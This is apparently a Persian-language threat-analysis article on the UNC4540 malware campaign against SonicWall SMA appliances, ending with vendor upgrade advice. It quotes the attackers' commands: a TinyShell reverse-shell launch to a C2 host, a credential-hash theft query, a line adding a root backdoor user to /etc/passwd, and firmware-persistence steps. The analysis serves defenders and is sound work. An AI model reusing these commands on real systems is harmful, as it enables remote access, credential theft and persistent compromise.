محققای Mandiant و SonicWall یه کمپین احتمالا چینی رو کشف کردن که محصول SonicWall Secure Mobile Access (SMA) رو با یه بدافزار هدف قرار میده و اسمش UNC4540 گذاشتن.
SMA بعنوان یه gateway عمل میکنه و سازمانها میتونن باهاش به هر برنامه ای ، از هرجایی و هر زمانی و با هر دستگاهی دسترسی داشته باشن.جزء دستگاههای دسترسی از راه دور هستش.
بطور کلی عملکرد بدافزار، سرقت اطلاعات کاربران، دسترسی به شل و پرسیست هستش ،بطوریکه حتی با آپگرید فریمور هم این پرسیست از بین نمیره.
محققا نتونستن منشا اولیه آلودگی رو شناسایی کنن اما اعلام کردن که بدافزار یا نسخه های مختلف اون از سال 2021 در دستگاه مستقر بوده، با اینکه چندین بار فریمورش بروزرسانی شده.
بررسی بدافزار:
این بدافزار از یسری اسکیپت bash و یه فایل اجرایی ELF که نوعی TinyShell هستش، تشکیل شده. بررسی اسکریپتها نشون میده که بازیگر تهدید شناخت خوبی از دستگاه داشته. جدول زیر فایلهای مخرب این کمپین رو نشون میده:
Path | Hash | Function |
/bin/firewalld | e4117b17e3d14fe64f45750be71dbaa6 | Main malware process |
/bin/httpsd | 2d57bcb8351cf2b57c4fd2d1bb8f862e | TinyShell backdoor |
/etc/rc.d/rc.local | 559b9ae2a578e1258e80c45a5794c071 | Boot persistence for firewalld |
/bin/iptabled | 8dbf1effa7bc94fc0b9b4ce83dfce2e6 | Redundant main malware process |
/bin/geoBotnetd | 619769d3d40a3c28ec83832ca521f521 | Firmware backdoor script |
/bin/ifconfig6 | fa1bf2e427b2defffd573854c35d4919 | Graceful shutdown script |
بدافزار با اجرای اسکریپت firewalld شروع میشه. این اسکریپت مسئول اجرای دستور SQL برای سرقت اطلاعات کاربران و اجرای سایر مولفه های بدافزار هستش.
بدافزار firewalld در ابتدا یه بکدور با httpsd از طریق دستور زیر فعال میکنه (TinyShell) :
1 |
nohup /bin/httpsd -c<C2 IP ADDRESS> -d 5 -m -1 -p 51432 > /dev/null 2>&1 & |
این دستور یه reverse-shell رو پیاده میکنه و دستور میده تا IP و پورت مورد نظر رو در روز و ساعت مشخصی که با m مشخص شده و با دوره زمانی که توسط d مشخص شده ، فراخوانی کنه. باینری یه IP هاردکد شده هم داره که اگه در دستور جای IP خالی بود به اون وصل بشه. همچنین قابلیت listening bind shell رو هم میده.
هدف اصلی بدافزار سرقت اطلاعات کاربران بصورت هش هستش. این کار با دستور زیر روی دیتابیس sqlite3 که در /tmp/temp.db قرار داره انجام میشه:
1 |
select userName,password from Sessions |
با این کار اطلاعات کاربری که بصورت هش هستش رو استخراج کرده و در فایلی در مسیر /tmp/syslog.db کپی میکنه. مهاجم میتونن این هش ها رو از دستگاه بیرون بکشه و بصورت آفلاین اونارو کرک کنه.
اما نکته ای که این بدافزار داره، پرسیست اون هستش. این کار هم همونطور که بالا گفته شد، جوری انجام میده که حتی با بروزرسانی فریمور هم از دست نمیره.
برای پرسیست یه اسکریپت استارت آپی با نام rc.local استفاده کردن که firewalld رو در زمان بوت سیستم اجرا میکنه. همچنین یه نسخه دومی از firewalld هم وجود داره بنام iptabled ، که تنها توسط rc.local قابل اجراست و مهاجمین اونو قرار دادن تا اگه یه زمانی پروسس اصلی یعنی firewalld دچار مشکل شد، این دومی اجرا بشه و دسترسی نپره.
همچنین یه اسکریپت دیگه بنام geoBotnetd هم دارن که هر 10 ثانیه مسیر /cf/FIRMWARE/NEW/INITRD.GZ رو برای فریمور جدید چک میکنه . اگه نسخه جدیدی از فریمور در دسترس باشه، از فایلش یه بک آپ میگیره، بعدش اونو از حالت فشرده خارج کرده و فایلهای بدافزار رو داخل اون قرار میده. با این ترفند، اگه فریمور دستگاه هم بروز بشه، بازم آلودگی وجود داره. این تکنیک قبلا توسط یه گروه چینی روی دستگاههای Pulse Secure VPN استفاده شده بود.
همچنین اسکریپت geoBotnetd با استفاده از دستور زیر یه کاربر بکدور به دستگاه اضافه میکنه تا اگه دسترسی بپره، از طریق این کاربر دوباره وارد دستگاه بشن:
1 |
echo -e "acme:wegB/YNBuL7QI:0:0:pwned:/acme:/bin/bash\n" >> /sda/etc/passwd |
همچنین firewalld یه دستکاری هم روی یکی از فایلهای SonicWall بنام firebased انجام میده. در این دستکاری با استفاده از دستور sed رشته /sbin/shutdown -r now رو با bash /bin/ifconfig6 جایگزین میکنه و بعدش اسکریپت /bin/ifconfig6 رو ایجاد میکنه
1 2 3 4 |
#!/bin/sh ifconfig eth0 down sleep 90 /sbin/shutdown -r now |
محققا میگن احتمالا علت این کار اینه که مهاجمین در مراحل تست یا استفاده از بدافزار، وقتی firebased شات داون میشه با مشکلاتی روبرو بودن.
دفاع و شناسایی :
SonicWall به مشتریان SMA100 توصیه کرده به نسخه های 10.2.1.7 یا بالاتر ارتقاء بدن. در این نسخه ها یسری ایمنی بیشتر مثله File Integrity Monitoring (FIM) برای شناسایی پچ های دستکاری شده انجام دادن. این بروزرسانی امکان شناسایی و دفع این کمپین رو فراهم میکنه.